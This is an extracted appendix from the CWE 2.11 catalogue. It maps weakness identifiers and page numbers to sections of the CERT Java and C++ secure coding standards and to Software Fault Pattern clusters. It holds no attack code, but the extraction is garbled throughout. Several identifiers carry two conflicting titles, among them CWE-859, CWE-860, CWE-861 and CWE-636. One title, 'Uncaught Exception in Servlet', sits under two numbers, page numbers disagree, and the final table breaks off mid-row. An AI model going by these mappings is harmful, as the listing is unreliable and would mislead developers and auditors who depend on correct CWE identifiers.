- CWE-847: CERT Java Secure Coding Section 02 - Expressions (EXP) (p. 1296)
  - CWE-252: Unchecked Return Value (p. 447)
  - CWE-479: Signal Handler Use of a Non-reentrant Function (p. 809)
  - CWE-595: Comparison of Object References Instead of Object Contents (p. 938)
  - CWE-597: Use of Wrong Operator in String Comparison (p. 940)
- CWE-848: CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM) (p. 1296)
  - CWE-197: Numeric Truncation Error (p. 381)
  - CWE-369: Divide By Zero (p. 848)
  - CWE-681: Incorrect Conversion between Numeric Types (p. 1060)
- CWE-849: CERT Java Secure Coding Section 04 - Object Orientation (OBJ) (p. 1297)
  - CWE-374: Passing Mutable Objects to an Untrusted Method (p. 653)
  - CWE-375: Returning a Mutable Object to an Untrusted Caller (p. 655)
  - CWE-486: Comparison of Classes by Name (p. 822)
  - CWE-491: Public cloneable() Method Without Final ('Object Hijack') (p. 828)
  - CWE-492: Use of Inner Class Containing Sensitive Data (p. 829)
  - CWE-493: Critical Public Variable Without Final Modifier (p. 835)
  - CWE-498: Cloneable Class Containing Sensitive Information (p. 844)
  - CWE-500: Public Static Field Not Marked Final (p. 847)
  - CWE-582: Array Declared Public, Final, and Static (p. 924)
  - CWE-766: Critical Variable Declared Public (p. 1173)
- CWE-850: CERT Java Secure Coding Section 05 - Methods (MET) (p. 1297)
  - CWE-487: Reliance on Package-level Scope (p. 824)
  - CWE-568: finalize() Method Without super.finalize() (p. 907)
  - CWE-573: Improper Following of Specification by Caller (p. 913)
  - CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined (p. 924)
  - CWE-583: finalize() Method Declared Public (p. 925)
  - CWE-586: Explicit Call to finalize() (p. 928)
  - CWE-589: Call to Non-ubiquitous API (p. 931)
  - CWE-617: Reachable Assertion (p. 966)
- CWE-851: CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR) (p. 1298)
  - CWE-209: Information Exposure Through an Error Message (p. 397)
  - CWE-230: Improper Handling of Missing Values (p. 422)
  - CWE-232: Improper Handling of Undefined Values (p. 424)
  - CWE-248: Uncaught Exception (p. 439)
Appendix A - Graph Views: CWE-844: Weaknesses Addressed by the CERT Java Secure Coding Standard

- CWE-382: J2EE Bad Practices: Use of System.exit() (p. 662)
- CWE-390: Detection of Error Condition Without Action (p. 673)
- CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p. 681)
- CWE-397: Declaration of Throws for Generic Exception (p. 684)
- CWE-460: Improper Cleanup on Thrown Exception (p. 779)
- CWE-497: Exposure of System Data to an Unauthorized Control Sphere (p. 842)
- CWE-572: Call to Thread run() instead of start() (p. 842)
- CWE-662: Improper Synchronization (p. 1026)
- CWE-667: Improper Locking (p. 1034)
- CWE-703: Improper Check or Handling of Exceptional Conditions (p. 1105)
- CWE-705: Incorrect Control Flow Scoping (p. 1108)
- CWE-706: Uncaught Exception in Servlet (p. 943)
- CWE-711: Improper Handling of Windows Device Names (p. 1300)
- CWE-720: Missing Synchronization (p. 1252)
- CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
- CWE-770: Allocation of Resources Without Limits or Throttling (p. 1178)
- CWE-820: Missing Synchronization (p. 1252)
- CWE-844: Weaknesses Addressed by the CERT Java Secure Coding Standard
- CWE-852: CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA) (p. 1298)
- CWE-853: CERT Java Secure Coding Section 08 - Locking (LCK) (p. 1299)
- CWE-854: CERT Java Secure Coding Section 09 - Thread APIs (THI) (p. 1299)
- CWE-855: CERT Java Secure Coding Section 10 - Thread Pools (TPS) (p. 1299)
- CWE-856: CERT Java Secure Coding Section 11 - Thread-Safety Miscellaneous (TSM) (p. 1300)
- CWE-857: CERT Java Secure Coding Section 12 - Input Output (FIO) (p. 1300)
- CWE-858: CERT Java Secure Coding Section 13 - Serialization (SER) (p. 1301)
- CWE-859: CERT Java Secure Coding Section 14 - Execution With Unnecessary Privileges (p. 1301)
- CWE-860: Cleartext Transmission of Sensitive Information (p. 563)
- CWE-861: Uncontrolled Resource Consumption ('Resource Exhaustion') (p. 689)
- CWE-862: Serializable Class Containing Sensitive Data (p. 845)
Appendix A - Graph Views: CWE-844: Weaknesses Addressed by the CERT Java Secure Coding Standard

CWE-502: Deserialization of Untrusted Data (p. 849)
CWE-589: Call to Non-ubiquitous API (p. 931)
CWE-770: Allocation of Resources Without Limits or Throttling (p. 1178)
CWE-859: CERT Java Secure Coding Section 14 - Platform Security (SEC) (p. 1301)
  CWE-111: Direct Use of Unsafe JNI (p. 208)
  CWE-266: Incorrect Privilege Assignment (p. 472)
  CWE-272: Least Privilege Violation (p. 483)
  CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle') (p. 531)
  CWE-302: Authentication Bypass by Assumed-Immutable Data (p. 535)
  CWE-319: Cleartext Transmission of Sensitive Information (p. 563)
  CWE-347: Improper Verification of Cryptographic Signature (p. 606)
  CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p. 791)
  CWE-494: Download of Code Without Integrity Check (p. 837)
  CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
  CWE-807: Reliance on Untrusted Inputs in a Security Decision (p. 1243)
CWE-860: CERT Java Secure Coding Section 15 - Runtime Environment (ENV) (p. 1302)
  CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p. 608)
  CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
CWE-861: CERT Java Secure Coding Section 49 - Miscellaneous (MSC) (p. 1302)
  CWE-259: Use of Hard-coded Password (p. 460)
  CWE-311: Missing Encryption of Sensitive Data (p. 549)
  CWE-330: Use of Insufficiently Random Values (p. 582)
  CWE-332: Insufficient Entropy in PRNG (p. 588)
  CWE-333: Improper Handling of Insufficient Entropy in TRNG (p. 589)
  CWE-336: Same Seed in PRNG (p. 593)
  CWE-337: Predictable Seed in PRNG (p. 594)
  CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion') (p. 689)
  CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak') (p. 695)
  CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 885)
  CWE-770: Allocation of Resources Without Limits or Throttling (p. 1178)
  CWE-798: Use of Hard-coded Credentials (p. 1223)
Graph View: CWE-868: Weaknesses Addressed by the CERT C++ Secure Coding Standard

- CWE-869: CERT C++ Secure Coding Section 01 - Preprocessor (PRE) (p. 1316)
- CWE-870: CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL) (p. 1316)
- CWE-871: CERT C++ Secure Coding Section 03 - Expressions (EXP) (p. 1316)
  - CWE-476: NULL Pointer Dereference (p. 800)
  - CWE-480: Use of Incorrect Operator (p. 811)
  - CWE-768: Incorrect Short Circuit Evaluation (p. 1176)
- CWE-872: CERT C++ Secure Coding Section 04 - Integers (INT) (p. 1317)
  - CWE-192: Integer Coercion Error (p. 368)
  - CWE-129: Improper Validation of Array Index (p. 258)
  - CWE-190: Integer Overflow or Wraparound (p. 361)
  - CWE-197: Numeric Truncation Error (p. 381)
  - CWE-20: Improper Input Validation (p. 18)
  - CWE-369: Divide By Zero (p. 648)
  - CWE-466: Return of Pointer Value Outside of Expected Range (p. 785)
  - CWE-587: Assignment of a Fixed Address to a Pointer (p. 929)
  - CWE-606: Unchecked Input for Loop Condition (p. 954)
  - CWE-676: Use of Potentially Dangerous Function (p. 1046)
  - CWE-681: Incorrect Conversion between Numeric Types (p. 1060)
  - CWE-682: Incorrect Calculation (p. 1063)
- CWE-873: CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP) (p. 1317)
  - CWE-369: Divide By Zero (p. 648)
  - CWE-681: Incorrect Conversion between Numeric Types (p. 1060)
  - CWE-682: Incorrect Calculation (p. 1063)
  - CWE-686: Function Call With Incorrect Argument Type (p. 1069)
- CWE-874: CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR) (p. 1317)
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - CWE-129: Improper Validation of Array Index (p. 258)
  - CWE-467: Use of sizeof() on a Pointer Type (p. 786)
  - CWE-469: Use of Pointer Subtraction to Determine Size (p. 789)
  - CWE-665: Improper Initialization (p. 1029)
  - CWE-805: Buffer Access with Incorrect Length Value (p. 1234)
- CWE-875: CERT C++ Secure Coding Section 07 - Characters and Strings (STR) (p. 1318)
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
  - CWE-170: Improper Null Termination (p. 328)
  - CWE-193: Off-by-one Error (p. 371)
  - CWE-464: Addition of Data Structure Sentinel (p. 783)
  - CWE-686: Function Call With Incorrect Argument Type (p. 1069)
  - CWE-704: Incorrect Type Conversion or Cast (p. 1107)
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - CWE-88: Argument Injection or Modification (p. 155)
- CWE-876: CERT C++ Secure Coding Section 08 - Memory Management (MEM) (p. 1318)
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - CWE-128: Wrap-around Error (p. 256)
  - CWE-131: Incorrect Calculation of Buffer Size (p. 269)
  - CWE-190: Integer Overflow or Wraparound (p. 361)
  - CWE-20: Improper Input Validation (p. 18)
  - CWE-226: Sensitive Information Uncleared Before Release (p. 417)
  - CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p. 435)
  - CWE-252: Unchecked Return Value (p. 447)
## Appendix A - Graph Views: CWE-868: Weaknesses Addressed by the CERT C++ Secure Coding Standard

- CWE-391: Unchecked Error Condition (p. 677)
- CWE-404: Improper Resource Shutdown or Release (p. 700)
- CWE-415: Double Free (p. 718)
- CWE-416: Use After Free (p. 720)
- CWE-476: NULL Pointer Dereference (p. 800)
- CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 872)
- CWE-590: Free of Memory not on the Heap (p. 932)
- CWE-591: Sensitive Data Storage in Improperly Locked Memory (p. 934)
- CWE-665: Improper Initialization (p. 1029)
- CWE-687: Function Call With Incorrectly Specified Argument Value (p. 1070)
- CWE-703: Improper Check or Handling of Exceptional Conditions (p. 1105)
- CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1146)
- CWE-762: Mismatched Memory Management Routines (p. 1165)
- CWE-770: Allocation of Resources Without Limits or Throttling (p. 1178)
- CWE-822: Untrusted Pointer Dereference (p. 1254)
- CWE-690: Unchecked Return Value to NULL Pointer Dereference (p. 1073)
- CWE-877: CERT C++ Secure Coding Section 09 - Input Output (FIO) (p. 1319)
- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
- CWE-134: Use of Externally-Controlled Format String (p. 277)
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
- CWE-241: Improper Handling of Unexpected Data Type (p. 431)
- CWE-276: Incorrect Default Permissions (p. 491)
- CWE-279: Improper Executable File Name Extension (p. 495)
- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p. 643)
- CWE-37: Path Traversal: '/absolute/pathname/here' (p. 67)
- CWE-379: Creation of Temporary File in Directory with Incorrect Permissions (p. 660)
- CWE-38: Path Traversal: '/absolute/pathname/here' (p. 68)
- CWE-39: Path Traversal: 'C:dirname' (p. 70)
- CWE-391: Unchecked Error Condition (p. 677)
- CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p. 698)
- CWE-404: Improper Resource Shutdown or Release (p. 700)
- CWE-41: Improper Resolution of Path Equivalence (p. 73)
- CWE-552: Files or Directories Accessible to External Parties (p. 892)
- CWE-59: Improper Link Resolution Before File Access ('Link Following') (p. 91)
- CWE-62: UNIX Hard Link (p. 96)
- CWE-64: Windows Shortcut Following (.LNK) (p. 98)
- CWE-65: Windows Hard Link (p. 100)
- CWE-67: Improper Handling of Windows Device Names (p. 103)
- CWE-675: Duplicate Operations on Resource (p. 1045)
- CWE-676: Use of Potentially Dangerous Function (p. 1046)
- CWE-73: External Control of File Name or Path (p. 108)
- CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
- CWE-770: Allocation of Resources Without Limits or Throttling (p. 1178)

## CWE Version 2.11

- CWE-878: CERT C++ Secure Coding Section 10 - Environment (ENV) (p. 1320)
- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
- CWE-462: Duplicate Key in Associative List (Alist) (p. 780)
- CWE-705: Incorrect Control Flow Scoping (p. 1108)
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
- CWE-807: Reliance on Untrusted Inputs in a Security Decision (p. 1243)
- CWE-88: Argument Injection or Modification (p. 155)
- CWE-426: Untrusted Search Path (p. 731)
Appendix A - Graph Views: CWE-868: Weaknesses Addressed by the CERT C++ Secure Coding Standard

- CWE-275: Permission Issues (p. 489)
- CWE-216: Containment Errors (Container Errors) (p. 411)
- CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 793)
- CWE-879: CERT C++ Secure Coding Section 11 - Signals (SIG) (p. 1321)
- CWE-479: Signal Handler Use of a Non-reentrant Function (p. 809)
- CWE-662: Improper Synchronization (p. 1026)
- CWE-880: CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR) (p. 1321)
- CWE-209: Information Exposure Through an Error Message (p. 397)
- CWE-390: Detection of Error Condition Without Action (p. 673)
- CWE-391: Unchecked Error Condition (p. 677)
- CWE-460: Improper Cleanup on Thrown Exception (p. 779)
- CWE-497: Exposure of System Data to an Unauthorized Control Sphere (p. 842)
- CWE-544: Missing Standardized Error Handling Mechanism (p. 886)
- CWE-703: Improper Check or Handling of Exceptional Conditions (p. 1105)
- CWE-705: Incorrect Control Flow Scoping (p. 1108)
- CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1146)
- CWE-755: Improper Handling of Exceptional Conditions (p. 1153)
- CWE-881: CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP) (p. 1322)
- CWE-485: Insufficient Encapsulation (p. 820)
- CWE-882: CERT C++ Secure Coding Section 14 - Concurrency (CON) (p. 1322)
- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)
- CWE-366: Race Condition within a Thread (p. 641)
- CWE-404: Improper Resource Shutdown or Release (p. 700)
- CWE-488: Exposure of Data Element to Wrong Session (p. 825)
- CWE-772: Missing Release of Resource after Effective Lifetime (p. 1186)
- CWE-883: CERT C++ Secure Coding Section 49 - Miscellaneous (MSC) (p. 1322)
- CWE-116: Improper Encoding or Escaping of Output (p. 217)
- CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)
- CWE-176: Improper Handling of Unicode Encoding (p. 339)
- CWE-20: Improper Input Validation (p. 18)
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 574)
- CWE-330: Use of Insufficiently Random Values (p. 582)
- CWE-480: Use of Incorrect Operator (p. 811)
- CWE-482: Comparing instead of Assigning (p. 816)
- CWE-561: Dead Code (p. 898)
- CWE-563: Assignment to Variable without Use ('Unused Variable') (p. 901)
- CWE-570: Expression is Always False (p. 908)
- CWE-571: Expression is Always True (p. 911)
- CWE-697: Insufficient Comparison (p. 1081)
- CWE-704: Incorrect Type Conversion or Cast (p. 1107)
Graph View: CWE-888: Software Fault Pattern (SFP) Clusters

- CWE-885: SFP Primary Cluster: Risky Values (p. 1327)
  - CWE-998: SFP Secondary Cluster: Glitch in Computation (p. 1397)
    - CWE-128: Wrap-around Error (p. 256)
    - CWE-190: Integer Overflow or Wraparound (p. 361)
    - CWE-191: Integer Underflow (Wrap or Wraparound) (p. 367)
    - CWE-194: Unexpected Sign Extension (p. 375)
    - CWE-195: Signed to Unsigned Conversion Error (p. 377)
    - CWE-196: Unsigned to Signed Conversion Error (p. 380)
    - CWE-197: Numeric Truncation Error (p. 381)
  - CWE-369: Divide By Zero (p. 648)
  - CWE-456: Missing Initialization of a Variable (p. 772)
  - CWE-457: Use of Uninitialized Variable (p. 774)
  - CWE-466: Return of Pointer Value Outside of Expected Range (p. 785)
  - CWE-468: Incorrect Pointer Scaling (p. 788)
  - CWE-475: Undefined Behavior for Input to API (p. 799)
  - CWE-481: Assigning instead of Comparing (p. 813)
  - CWE-486: Comparison of Classes by Name (p. 822)
  - CWE-562: Return of Stack Variable Address (p. 900)
  - CWE-570: Expression is Always False (p. 908)
  - CWE-571: Expression is Always True (p. 911)
  - CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session (p. 922)
  - CWE-587: Assignment of a Fixed Address to a Pointer (p. 929)
  - CWE-594: J2EE Framework: Saving Unserializable Objects to Disk (p. 936)
  - CWE-597: Use of Wrong Operator in String Comparison (p. 940)
  - CWE-628: Function Call with Incorrectly Specified Arguments (p. 979)
  - CWE-631: Incorrect Conversion between Numeric Types (p. 1060)
  - CWE-632: Function Call With Incorrect Order of Arguments (p. 1066)
  - CWE-633: Function Call With Incorrect Number of Arguments (p. 1068)
  - CWE-634: Function Call With Incorrect Argument Type (p. 1069)
  - CWE-635: Function Call With Incorrectly Specified Argument Value (p. 1070)
    - CWE-636: Function Call With Incorrect Variable or Reference as Argument (p. 1071)
    - CWE-704: Incorrect Type Conversion or Cast (p. 1107)
  - CWE-768: Incorrect Short Circuit Evaluation (p. 1176)

- CWE-886: SFP Primary Cluster: Unused entities (p. 1327)
  - CWE-482: Comparing instead of Assigning (p. 816)
  - CWE-561: Dead Code (p. 898)
  - CWE-563: Assignment to Variable without Use (‘Unused Variable’) (p. 901)

- CWE-887: SFP Primary Cluster: API (p. 1327)
  - CWE-1001: SFP Secondary Cluster: Use of an Improper API (p. 1414)
    - CWE-111: Direct Use of Unsafe JNI (p. 208)
    - CWE-227: Improper Fulfillment of API Contract (‘API Abuse’) (p. 419)
    - CWE-242: Use of Inherently Dangerous Function (p. 432)
    - CWE-245: J2EE Bad Practices: Direct Management of Connections (p. 436)
    - CWE-246: J2EE Bad Practices: Direct Use of Sockets (p. 438)
    - CWE-382: J2EE Bad Practices: Use of System.exit() (p. 662)
    - CWE-383: J2EE Bad Practices: Direct Use of Threads (p. 664)
  - CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations (p. 742)
  - CWE-439: Behavioral Change in New Version or Environment (p. 754)
  - CWE-440: Expected Behavior Violation (p. 754)
  - CWE-474: Use of Function with Inconsistent Implementations (p. 799)
  - CWE-477: Use of Obsolete Functions (p. 804)
### Appendix A - Graph Views: CWE-888: Software Fault Pattern (SFP) Clusters

<table>
<thead>
<tr>
<th>CWE</th>
<th>Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
<td>809</td>
</tr>
<tr>
<td>CWE-558</td>
<td>Use of getLogin() in Multithreaded Application</td>
<td>895</td>
</tr>
<tr>
<td>CWE-572</td>
<td>Call to Thread run() instead of start()</td>
<td>912</td>
</tr>
<tr>
<td>CWE-573</td>
<td>Improper Following of Specification by Caller</td>
<td>913</td>
</tr>
<tr>
<td>CWE-574</td>
<td>EJB Bad Practices: Use of Synchronization Primitives</td>
<td>914</td>
</tr>
<tr>
<td>CWE-575</td>
<td>EJB Bad Practices: Use of AWT Swing</td>
<td>915</td>
</tr>
<tr>
<td>CWE-576</td>
<td>EJB Bad Practices: Use of Java I/O</td>
<td>917</td>
</tr>
<tr>
<td>CWE-577</td>
<td>EJB Bad Practices: Use of Sockets</td>
<td>919</td>
</tr>
<tr>
<td>CWE-578</td>
<td>EJB Bad Practices: Use of Class Loader</td>
<td>920</td>
</tr>
<tr>
<td>CWE-586</td>
<td>Explicit Call to Finalize()</td>
<td>928</td>
</tr>
<tr>
<td>CWE-589</td>
<td>Call to Non-ubiquitous API</td>
<td>931</td>
</tr>
<tr>
<td>CWE-617</td>
<td>Reachable Assertion</td>
<td>966</td>
</tr>
<tr>
<td>CWE-676</td>
<td>Use of Potentially Dangerous Function</td>
<td>1046</td>
</tr>
<tr>
<td>CWE-684</td>
<td>Incorrect Provision of Specified Functionality</td>
<td>1067</td>
</tr>
<tr>
<td>CWE-695</td>
<td>Use of Low-Level Functionality</td>
<td>1079</td>
</tr>
<tr>
<td>CWE-758</td>
<td>Reliance on Undefined, Unspecified, or Implementation-Defined Behavior</td>
<td>1156</td>
</tr>
<tr>
<td><strong>CWE-889</strong></td>
<td>SFP Primary Cluster: Exception Management</td>
<td>1328</td>
</tr>
<tr>
<td><strong>CWE-960</strong></td>
<td>SFP Secondary Cluster: Ambiguous Exception Type</td>
<td>1380</td>
</tr>
<tr>
<td><strong>CWE-396</strong></td>
<td>Declaration of Catch for Generic Exception</td>
<td>683</td>
</tr>
<tr>
<td><strong>CWE-397</strong></td>
<td>Declaration of Throws for Generic Exception</td>
<td>684</td>
</tr>
<tr>
<td><strong>CWE-961</strong></td>
<td>SFP Secondary Cluster: Incorrect Exception Behavior</td>
<td>1380</td>
</tr>
<tr>
<td><strong>CWE-392</strong></td>
<td>Missing Report of Error Condition</td>
<td>678</td>
</tr>
<tr>
<td><strong>CWE-393</strong></td>
<td>Return of Wrong Status Code</td>
<td>679</td>
</tr>
<tr>
<td><strong>CWE-455</strong></td>
<td>Non-exit on Failed Initialization</td>
<td>771</td>
</tr>
<tr>
<td><strong>CWE-460</strong></td>
<td>Improper Cleanup on Thrown Exception</td>
<td>779</td>
</tr>
<tr>
<td><strong>CWE-544</strong></td>
<td>Missing Standardized Error Handling Mechanism</td>
<td>886</td>
</tr>
<tr>
<td><strong>CWE-584</strong></td>
<td>Return Inside Finally Block</td>
<td>926</td>
</tr>
<tr>
<td><strong>CWE-636</strong></td>
<td>Not Failing Securely ('Failing Open')</td>
<td>985</td>
</tr>
<tr>
<td><strong>CWE-703</strong></td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>1105</td>
</tr>
<tr>
<td><strong>CWE-962</strong></td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td>1380</td>
</tr>
<tr>
<td><strong>CWE-248</strong></td>
<td>Uncaught Exception</td>
<td>439</td>
</tr>
<tr>
<td><strong>CWE-252</strong></td>
<td>Unchecked Return Value</td>
<td>447</td>
</tr>
<tr>
<td><strong>CWE-253</strong></td>
<td>Incorrect Check of Function Return Value</td>
<td>452</td>
</tr>
<tr>
<td><strong>CWE-273</strong></td>
<td>Improper Check for Dropped Privileges</td>
<td>486</td>
</tr>
<tr>
<td><strong>CWE-280</strong></td>
<td>Improper Handling of Insufficient Permissions or Privileges</td>
<td>496</td>
</tr>
<tr>
<td><strong>CWE-372</strong></td>
<td>Incomplete Internal State Distinction</td>
<td>652</td>
</tr>
<tr>
<td><strong>CWE-390</strong></td>
<td>Detection of Error Condition Without Action</td>
<td>673</td>
</tr>
<tr>
<td><strong>CWE-391</strong></td>
<td>Unchecked Error Condition</td>
<td>677</td>
</tr>
<tr>
<td><strong>CWE-394</strong></td>
<td>Unexpected Status Code or Return Value</td>
<td>681</td>
</tr>
<tr>
<td><strong>CWE-395</strong></td>
<td>Use of NullPointerException Catch to Detect NULL Pointer Dereference</td>
<td>681</td>
</tr>
<tr>
<td><strong>CWE-431</strong></td>
<td>Missing Handler</td>
<td>741</td>
</tr>
<tr>
<td><strong>CWE-478</strong></td>
<td>Missing Default Case in Switch Statement</td>
<td>806</td>
</tr>
<tr>
<td><strong>CWE-484</strong></td>
<td>Omitted Break Statement in Switch</td>
<td>819</td>
</tr>
<tr>
<td><strong>CWE-600</strong></td>
<td>Uncaught Exception in Servlet</td>
<td>943</td>
</tr>
<tr>
<td><strong>CWE-665</strong></td>
<td>Improper Initialization</td>
<td>1029</td>
</tr>
<tr>
<td><strong>CWE-754</strong></td>
<td>Improper Check for Unusual or Exceptional Conditions</td>
<td>1146</td>
</tr>
<tr>
<td><strong>CWE-755</strong></td>
<td>Improper Handling of Exceptional Conditions</td>
<td>1153</td>
</tr>
<tr>
<td><strong>CWE-890</strong></td>
<td>SFP Primary Cluster: Memory Access</td>
<td>1328</td>
</tr>
<tr>
<td><strong>CWE-970</strong></td>
<td>SFP Secondary Cluster: Faulty Buffer Access</td>
<td>1385</td>
</tr>
<tr>
<td><strong>CWE-118</strong></td>
<td>Incorrect Access of Indexable Resource ('Range Error')</td>
<td>225</td>
</tr>
<tr>
<td><strong>CWE-119</strong></td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>226</td>
</tr>
<tr>
<td><strong>CWE-120</strong></td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>234</td>
</tr>
<tr>
<td><strong>CWE-121</strong></td>
<td>Stack-based Buffer Overflow</td>
<td>242</td>
</tr>
<tr>
<td><strong>CWE-122</strong></td>
<td>Heap-based Buffer Overflow</td>
<td>245</td>
</tr>
<tr>
<td>CWE-ID</td>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>--------</td>
<td>-------------</td>
<td></td>
</tr>
<tr>
<td>CWE-123</td>
<td>Write-what-where Condition (p. 248)</td>
<td></td>
</tr>
<tr>
<td>CWE-124</td>
<td>Buffer Underwrite ('Buffer Underflow') (p. 250)</td>
<td></td>
</tr>
<tr>
<td>CWE-125</td>
<td>Out-of-bounds Read (p. 253)</td>
<td></td>
</tr>
<tr>
<td>CWE-126</td>
<td>Buffer Over-read (p. 254)</td>
<td></td>
</tr>
<tr>
<td>CWE-127</td>
<td>Buffer Under-read (p. 256)</td>
<td></td>
</tr>
<tr>
<td>CWE-129</td>
<td>Improper Validation of Array Index (p. 258)</td>
<td></td>
</tr>
<tr>
<td>CWE-971</td>
<td>SFP Secondary Cluster: Faulty Pointer Use (p. 1385)</td>
<td></td>
</tr>
<tr>
<td>CWE-469</td>
<td>Use of Pointer Subtraction to Determine Size (p. 789)</td>
<td></td>
</tr>
<tr>
<td>CWE-476</td>
<td>NULL Pointer Dereference (p. 800)</td>
<td></td>
</tr>
<tr>
<td>CWE-588</td>
<td>Attempt to Access Child of a Non-structure Pointer (p. 930)</td>
<td></td>
</tr>
<tr>
<td>CWE-972</td>
<td>SFP Secondary Cluster: Faulty String Expansion (p. 1385)</td>
<td></td>
</tr>
<tr>
<td>CWE-785</td>
<td>Use of Path Manipulation Function without Maximum-sized Buffer (p. 1207)</td>
<td></td>
</tr>
<tr>
<td>CWE-973</td>
<td>SFP Secondary Cluster: Improper NULL Termination (p. 1386)</td>
<td></td>
</tr>
<tr>
<td>CWE-170</td>
<td>Improper Null Termination (p. 328)</td>
<td></td>
</tr>
<tr>
<td>CWE-974</td>
<td>SFP Secondary Cluster: Incorrect Buffer Length Computation (p. 1386)</td>
<td></td>
</tr>
<tr>
<td>CWE-131</td>
<td>Incorrect Calculation of Buffer Size (p. 269)</td>
<td></td>
</tr>
<tr>
<td>CWE-135</td>
<td>Incorrect Calculation of Multi-Byte String Length (p. 282)</td>
<td></td>
</tr>
<tr>
<td>CWE-467</td>
<td>Use of sizeof() on a Pointer Type (p. 786)</td>
<td></td>
</tr>
<tr>
<td>CWE-891</td>
<td>SFP Primary Cluster: Memory Management (p. 1329)</td>
<td></td>
</tr>
<tr>
<td>CWE-969</td>
<td>SFP Secondary Cluster: Faulty Memory Release (p. 1384)</td>
<td></td>
</tr>
<tr>
<td>CWE-415</td>
<td>Double Free (p. 718)</td>
<td></td>
</tr>
<tr>
<td>CWE-590</td>
<td>Free of Memory not on the Heap (p. 932)</td>
<td></td>
</tr>
<tr>
<td>CWE-761</td>
<td>Free of Pointer not at Start of Buffer (p. 1162)</td>
<td></td>
</tr>
<tr>
<td>CWE-762</td>
<td>Mismatched Memory Management Routines (p. 1165)</td>
<td></td>
</tr>
<tr>
<td>CWE-763</td>
<td>Release of Invalid Pointer or Reference (p. 1167)</td>
<td></td>
</tr>
<tr>
<td>CWE-892</td>
<td>SFP Primary Cluster: Resource Management (p. 1329)</td>
<td></td>
</tr>
<tr>
<td>CWE-982</td>
<td>SFP Secondary Cluster: Failure to Release Resource (p. 1389)</td>
<td></td>
</tr>
<tr>
<td>CWE-401</td>
<td>Improper Release of Memory Before Removing Last Reference ('Memory Leak') (p. 695)</td>
<td></td>
</tr>
<tr>
<td>CWE-404</td>
<td>Improper Resource Shutdown or Release (p. 700)</td>
<td></td>
</tr>
<tr>
<td>CWE-459</td>
<td>Incomplete Cleanup (p. 777)</td>
<td></td>
</tr>
<tr>
<td>CWE-771</td>
<td>Missing Reference to Active Allocated Resource (p. 1185)</td>
<td></td>
</tr>
<tr>
<td>CWE-772</td>
<td>Missing Release of Resource after Effective Lifetime (p. 1186)</td>
<td></td>
</tr>
<tr>
<td>CWE-773</td>
<td>Missing Reference to Active File Descriptor or Handle (p. 1190)</td>
<td></td>
</tr>
<tr>
<td>CWE-775</td>
<td>Missing Release of File Descriptor or Handle after Effective Lifetime (p. 1192)</td>
<td></td>
</tr>
<tr>
<td>CWE-983</td>
<td>SFP Secondary Cluster: Faulty Resource Use (p. 1390)</td>
<td></td>
</tr>
<tr>
<td>CWE-416</td>
<td>Use After Free (p. 720)</td>
<td></td>
</tr>
<tr>
<td>CWE-672</td>
<td>Operation on a Resource after Expiration or Release (p. 1041)</td>
<td></td>
</tr>
<tr>
<td>CWE-984</td>
<td>SFP Secondary Cluster: Life Cycle (p. 1390)</td>
<td></td>
</tr>
<tr>
<td>CWE-664</td>
<td>Improper Control of a Resource Through its Lifetime (p. 1028)</td>
<td></td>
</tr>
<tr>
<td>CWE-666</td>
<td>Operation on Resource in Wrong Phase of Lifetime (p. 1033)</td>
<td></td>
</tr>
<tr>
<td>CWE-675</td>
<td>Duplicate Operations on Resource (p. 1045)</td>
<td></td>
</tr>
<tr>
<td>CWE-694</td>
